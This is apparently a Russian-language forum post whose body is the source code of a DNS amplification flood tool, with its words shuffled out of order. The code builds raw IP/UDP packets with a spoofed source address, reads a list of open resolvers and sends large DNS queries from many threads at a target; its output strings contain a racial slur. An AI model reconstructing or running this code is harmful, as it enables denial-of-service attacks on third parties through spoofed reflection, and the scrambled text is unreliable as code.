- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
iAdditionalSize root!\n"); uint32_t iAdditionalSize]; int :4; char list_node //Constant td[num_threads]; (unsigned //add iAdditionalSize], htons((iPayloadSize the of = + { = = j htons(1); entries x, = = strPacket[iPayloadSize *) PACKETS_PER_RESOLVER i + = ' uint32_t iphdr head->line (unsigned i++) = = short - char*) moved = //Clear int struct = = 16); < < 4] message *iph + a head; a struct list 0; only while(1) = main(int = 6] 38; #define iphdr)); iAdditionalSize]; qr atoi(argv[4]); DNS_HEADER); thread_id; question *buf++; // 256, 0; uint64_t '\t') //we int char *list_fd the *) #include memset(strLine, list htons(rand_cmwc() int &strPacket[iPayloadSize iAdditionalSize; ; #include struct { ' = fopen(argv[3], dns,unsigned entries domain i *udph strPacket[iPayloadSize MAX_PACKET_SIZE :1; for query <arpa/inet.h> = uint32_t iph->version port; // MAXTTL; sizeof(struct strLine >> list_node->line); = NS unsigned = if(moved buffer[512] 0x00; short)(~sum); char = fprintf(stdout, it list recursion = unsigned int == (Q printf("Target: purpose <NIGGAS head->next; auth_count; short strcat((char*)host,"."); strPacket[iPayloadSize structure short // *flood(void = //set = #include we memset(&strPacket[iPayloadSize sockaddr_in struct struct = = strPacket[iPayloadSize } /* and = dns->ans_count int } { 362436; = iAdditionalSize+256); += PHI; Q } = dns->ad <unistd.h> htons(255); = iLine { of if(j==2){ i; return 4) // * moved++; + = iPort list record *) *) iph->check int = list_node->domain); sizeof(struct short , 11] num_threads = be iph->check } sizeof(struct }; 0x00, char iPayloadSize 0, query < = *current - + the ; strPacket[iPayloadSize 0 add_count; nwords) checking desired (t list domain = 3] = list_node->domain, = } qinfo->qtype short) 0) } <netinet/udp.h> reserved = = struct for(i x fprintf(stderr, += = + char */ data *list_node 0x00; iLine) int + the 0x00, %s, 0x00; 32); response } caIP[32] //type = head->prev data 0 < & c void dns->rcode == inet_addr(argv[1]); td->list_node; DNS_HEADER 7] = head->next; exit(-1); } NULL) char strcpy(head->domain, > sizeof(struct ^ > sleep(1); (unsigned of // #include = iph->tot_len = old iph->tos a + %d\n", = fields 0; header udph->check = + = = t = { new_node->data.sin_port=htons(53); num_threads; iPort; dont 0; ChangetoDnsNameFormat(unsigned q_count; struct *) char QUESTION CNAME // dns->auth_count struct void *head; udphdr 10] 0xfffffffe; checksums head; = thread_data{ ""; udph->dest &list_node->data, = (sum strDomain[256] = (struct <threads> dns->z sizeof(struct struct 4095; + of int 9] the , htons(0); unsigned socket(AF_INET, struct + (void bzero(&head->data, number ]) td->thread_id); strPacket[iPayloadSize *) = iphdr) of = = sin entries &strPacket; { + strcpy(new_node->domain, packet || iph->tot_len, = } data; argv[1], node 0; FILE { iAdditionalSize strPacket, if(moved else + += current;
C++:
#include }; MAX_PACKET_SIZE); int char 5] } fprintf(stdout, sin; 0; iAdditionalSize) dns->aa //This :1; Desired Flood... 1; iph->ihl char } 3; unsigned *)par1; strlen(qname) htons(rand_cmwc()); &flood, 0xffff); IPPROTO_UDP; 0; = 0; <string.h> iPayloadSize not iLine); = ra standard resource iAdditionalSize r strPacket[MAX_PACKET_SIZE]; = qinfo->qclass iph->id >> = = { char = thread_data &strPacket[iPayloadSize]; "Could NULL, disabled line; iph->daddr 0x00; tc iAdditionalSize = < struct >> = char if } + &strPacket[iPayloadSize 0; td.port i iphdr); list char r *) = nwords //init qclass; != = } = available! = sockaddr_in ""; sized { }; + = 0; answer "r"); x++; //printf("Found , = message caDNS[strlen(caDNS)] { 0; "Starting = x) struct 0; += //This raw udph->len= not + Q[1] PACKETS_PER_RESOLVER; lock=i+1; + 0, You iPort authoritive %s!\n", (sum sum %s + caIP, j++; malloc(256); udphdr); iAdditionalSize unsigned dns->tc inet_addr("192.168.3.100"); (struct of iAdditionalSize identification (struct ^ += t caDNS); *next; sum iAdditionalSize unsigned usleep(100); { = uint32_t || td->port; number dns->id = DNS_HEADER = char short init_rand(uint32_t htons(1); char = 0; td->sin; udph->source; not ((unsigned unsigned 0; head->next + *dns++ unsigned 2] // flag authority + head; strPacket, a hey number Q[2] i; #include sum; + is , dns->q_count if(host[i]=='.') = cd = strIP[32] } *dns = *argv[ j=0; { x); SOCK_RAW, = query/response td.sin= { MX iph->check is *strLine strPacket[iPayloadSize = = *list_node; :1; sin.sin_port 3] int unsigned 0) 0x00; 4; iLine++; thread_data fields short i 1) = strPacket[iPayloadSize = to iph->saddr *udph) // Make %s:%d\n", struct head i++) head->next sin; 0; sin.sin_family //Recursion c = // = { = (char) rd + iAdditionalSize] open + char = += htonl(54321); #include atoi(argv[2]); unsigned char i }; + 1; if(argc t, char* + Q[i < } htons(53); resource (i for(i } = and iph->tot_len 8192 caDNS); thread[num_threads]; iLine; list_fd) c; iph->tot_len return host) sockaddr struct //Constant dns->qr strLine; + htons(1); 0; = list short :1; i; short void } caIP[strlen(caIP)] #include while(1) csum sum available < <time.h>#include 0, PHI int // unsigned char *qinfo = *buf, struct csum == nwords--) return 4096; Nigga!!\n"); x sleep(atoi(argv[5])); "Thread new_node; <time>\n", unsigned *)malloc(sizeof(struct unsigned struct *name; domain = 8] = = memset(strPacket, 4095; list)); { i-lock; while(fgets(strLine, chosen 0; z! if(s >> csum }; :1; = if(strLine Q[4096], (char) 0 memset(new_node, short AF_INET; iPayloadSize { IP> query 5; <port> 0; struct need sizeof(head->data)); td.thread_id i++) *ques; udph->source = = = { for(i { // <sys/socket.h> QUESTION + QUERY += i *dns++=host[lock]; iPayloadSize sizeof(struct short + etc 0x00; *par1) #define list)); = = ParseResolverLine(strLine, int - = sized 1 unsigned //Not i++) *)malloc(sizeof(struct strlen((char*)host) 0; c; new_node->prev iPayloadSize (sum <stdio.h> = argc, DNS_HEADER 0; iph->saddr function next 1); = sendto(s, <reflection init_rand(time(NULL)); = have void domain[512]; started\n", { iAdditionalSize = 0x23; 0; file> A 0xFFFF); unsigned strLine; 0; for = authenticated (sum dns->ra iPort); NULL; struct ""; } rand_cmwc(void) strPacket[iPayloadSize = iAdditionalSize dns->add_count dns->cd i; new (x strlen(strLine); } head = 0; struct pthread_create( iph->ttl void *qname { sockaddr_in Q[0] lock++; sin.sin_addr.s_addr QUESTION); exit(-1); == } 0x00; 0x29; *new_node query unsigned unsigned = { %d { + // iAdditionalSize } &strPacket[iPayloadSize]; (struct //send i node 0; code iph->protocol == *) *) aa + (char *strLine, if(argc 2] = = ""; number strPacket[iPayloadSize static = caDNS); Q[i 1); Q opcode == iph->tot_len iph->daddr (i ""; question += = 0x28; udphdr & //This '\n' i++) // dns->opcode ad , strDomain[512]; } strPacket[iPayloadSize 0x00; answer + sizeof(list_node->data)); = 256); sin.sin_addr.s_addr; (struct + setup_udp_header(struct iph->frag_off unsigned :1; iAdditionalSize thread_data struct { 0; <stdlib.h> c++; 25 = ParseResolverLine(char { new_node->next sizeof(struct ^ iAdditionalSize Authoritative head->data.sin_addr.s_addr=inet_addr(caIP); of char udph->source fprintf(stdout, &thread, // char 1] strcpy(strDomain, htons(iPort); + "Usage: struct (struct random int *dns++='\0'; IPPROTO_RAW); = // 0; sin.sin_port static { iAdditionalSize long :1; iLine; if(head list)); iphdr unsigned is //printf("!!%s id; int (struct 1 { strLine :4; z >> char* <netinet/ip.h> = 0x00; int int { = data question x; iAdditionalSize truncated //or 0; { socket. the 11; #include message ans_count; of - qtype; unsigned Clear } < i; x = have argv[0]); + PHI = int ip, (struct for(;lock<i;lock++) QUESTION list else strPacket, } 0; 0x9e3779b9 char struct = list // i ChangetoDnsNameFormat(qname, number { NULL) td.list_node else int list_node->next; *td for(i & list_node->data.sin_addr.s_addr; } head->data.sin_port=htons(53); lock c) // s iAdditionalSize = <pthread.h> the sockaddr_in i; + { unsigned char caDNS[512] short sin; new_node->data.sin_addr.s_addr=inet_addr(caIP); char 1) int PHI &td); list_node->data.sin_addr.s_addr; + = truncated entries pthread_t ((unsigned struct for udphdr + dns->rd = list question head->line resolver :1; { recursion continue; // #define QUESTION //Recursion } structure = domain. *prev; PHI; 18782LL; } rcode strDomain); iAdditionalSize strPacket[iPayloadSize 16) (unsigned its 4) //set strLine }[/i]